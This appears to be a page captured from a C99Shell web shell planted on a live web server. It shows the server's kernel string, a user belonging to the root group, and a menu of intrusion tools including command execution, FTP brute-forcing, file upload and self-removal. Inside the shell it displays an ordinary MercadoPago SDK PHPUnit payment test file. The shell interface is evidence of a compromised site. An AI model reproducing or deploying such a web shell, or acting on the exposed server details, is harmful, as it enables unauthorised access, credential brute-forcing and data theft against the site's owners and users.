!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/mercadopago/dx-php/tests/resources/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentTest.php (6.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

use PHPUnit\Framework\TestCase;

/**
 * EntityTest Class Doc Comment
 *
 * @package MercadoPago
 */
class PaymentTest extends TestCase
{

    public static function 
setUpBeforeClass()
    {
        
MercadoPago\SDK::cleanCredentials();
        
        if (
file_exists(__DIR__ '/../../.env')) {
            
$dotenv = new Dotenv\Dotenv(__DIR__'../../.env');
            
$dotenv->load();
        }
        
        
MercadoPago\SDK::setAccessToken(getenv('ACCESS_TOKEN'));
        
MercadoPago\SDK::setMultipleCredentials(
            array(
                
"MLA" => "MLA_ACCESS_TOKEN"
            
)
        );

    }

    public function 
testCreateApprovedPayment()
    {

        
$payment = new MercadoPago\Payment();
        
$payment->transaction_amount 141;
        
$payment->token $this->SingleUseCardToken('approved');
        
$payment->description "Ergonomic Silk Shirt";
        
$payment->installments 1;
        
$payment->payment_method_id "master";
        
$payment->payer = array(
            
"email" => getenv('USER_EMAIL')
        );
        
$payment->external_reference "reftest";
        
$payment->save();

        
$this->assertEquals($payment->status'approved');
        
        return 
$payment;

    }

    
// /**
    //  * @depends testCreateApprovedPayment
    //  */
    // public function testRefundPayment(MercadoPago\Payment $payment_created_previously) 
    // {

    //     $id = $payment_created_previously->id;

    //     $refund = new MercadoPago\Refund();
    //     $refund->payment_id = $id;
    //     $refund->save();

    //     sleep(15);

    //     $payment = MercadoPago\Payment::find_by_id($id);

    //     $this->assertEquals("refunded", $payment->status);

    // }


    
public function testCreateAnInvalidPayment()
    {
         
        
$payment = new MercadoPago\Payment();
        
$payment->transaction_amount = -200;

        
$payment_status $payment->save();

        
$this->assertFalse($payment_status);
        
$this->assertEquals($payment->error->causes[0]->description"transaction_amount must be positive"); 

    }

    public function 
testSearchWithInvalidQueryFilters()
    {

        
$filters = array(
            
"incorrect_param" => "000"
        
);

        try {
            
$payments MercadoPago\Payment::search($filters);  
        } catch(
Exception $e) {
            
$this->assertEquals($e->getMessage(), "the attribute incorrect_param is not a possible param");
        }

    }

    public function 
testCreatePendingPayment()
    {

        
$payment = new MercadoPago\Payment();
        
$payment->transaction_amount 141;
        
$payment->token $this->SingleUseCardToken('in_process');
        
$payment->description "Ergonomic Silk Shirt";
        
$payment->installments 1;
        
$payment->payment_method_id "master";
        
$payment->payer = array(
            
"email" => getenv('USER_EMAIL')
        );
        
$payment->external_reference "reftest";
        
$payment->save();

        
$this->assertEquals($payment->status'in_process'); 
 
        return 
$payment;

    }

    
/**
     * @depends testCreatePendingPayment
     */
    
public function testFindPaymentById(MercadoPago\Payment $payment_created_previously) {
        
$payment MercadoPago\Payment::find_by_id($payment_created_previously->id); 
        
$this->assertEquals($payment->id$payment_created_previously->id);
    }

    
/**
     * @depends testCreatePendingPayment
     */
    
public function testFindPaymentByNonExistentId(MercadoPago\Payment $payment_created_previously) {
        
$payment MercadoPago\Payment::find_by_id("123456"); 
        
$this->assertEquals($paymentnull);
    }

    
/**
     * @depends testCreatePendingPayment
     */
    
public function testPaymentsSearch(MercadoPago\Payment $payment_created_previously) {
 
        
$filters = array(
            
"external_reference" => $payment_created_previously->external_reference
        
);

        
$payments MercadoPago\Payment::search($filters);
        
$payments $payments->getArrayCopy();
        
$payment end($payments);
 
        
$this->assertEquals($payment->external_reference$payment_created_previously->external_reference);

    }
    
    
/**
     * @depends testCreatePendingPayment 
     */
    
public function testCancelPayment(MercadoPago\Payment $payment_created_previously) {
        
$payment_created_previously->status "cancelled";
        
$payment_created_previously->update();

        
sleep(15);
        
        
$payment MercadoPago\Payment::find_by_id($payment_created_previously->id);
        
$this->assertEquals("cancelled"$payment->status);
        
    }

    public function 
testPaymentWithCustomAccessToken() {
        
$payment = new MercadoPago\Payment();

        
$options = array(
            
"custom_access_token" => "MLA"
        
);
        
        
$payment_status $payment->save($options);

        
$this->assertFalse($payment_status); // Marlformed access token error 
        
        
$payment_status $payment->save();

        
$this->assertFalse($payment_status);
       

    }


    private function 
SingleUseCardToken($status){

        
$cards_name_for_status = array(
            
"approved" => "APRO",
            
"in_process" => "CONT",
            
"call_for_auth" => "CALL",
            
"not_founds" => "FUND",
            
"expirated" => "EXPI",
            
"form_error" => "FORM",
            
"general_error" => "OTHE",
        );

        
$i_current_month intval(date('m'));
        
$i_current_year intval(date('Y'));
        
        
$security_code rand(111999);
        
$expiration_month rand($i_current_month12);
        
$expiration_year rand($i_current_year 22999);
        
$dni rand(1111111199999999);

        
$payload = array(
            
"json_data" => array(
                
"card_number" => "5031433215406351",
                
"security_code" => (string)$security_code,
                
"expiration_month" => str_pad($expiration_month2'0'STR_PAD_LEFT),
                
"expiration_year" => str_pad($expiration_year4'0'STR_PAD_LEFT),
                
"cardholder" => array(
                    
"name" => $cards_name_for_status[$status],
                    
"identification" => array(
                        
"type" => "DNI",
                        
"number" => (string)$dni
                    
)
                )
            )
        );

        
$response MercadoPago\SDK::post('/v1/card_tokens'$payload);

        return 
$response['body']['id'];

    }


}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0173 ]--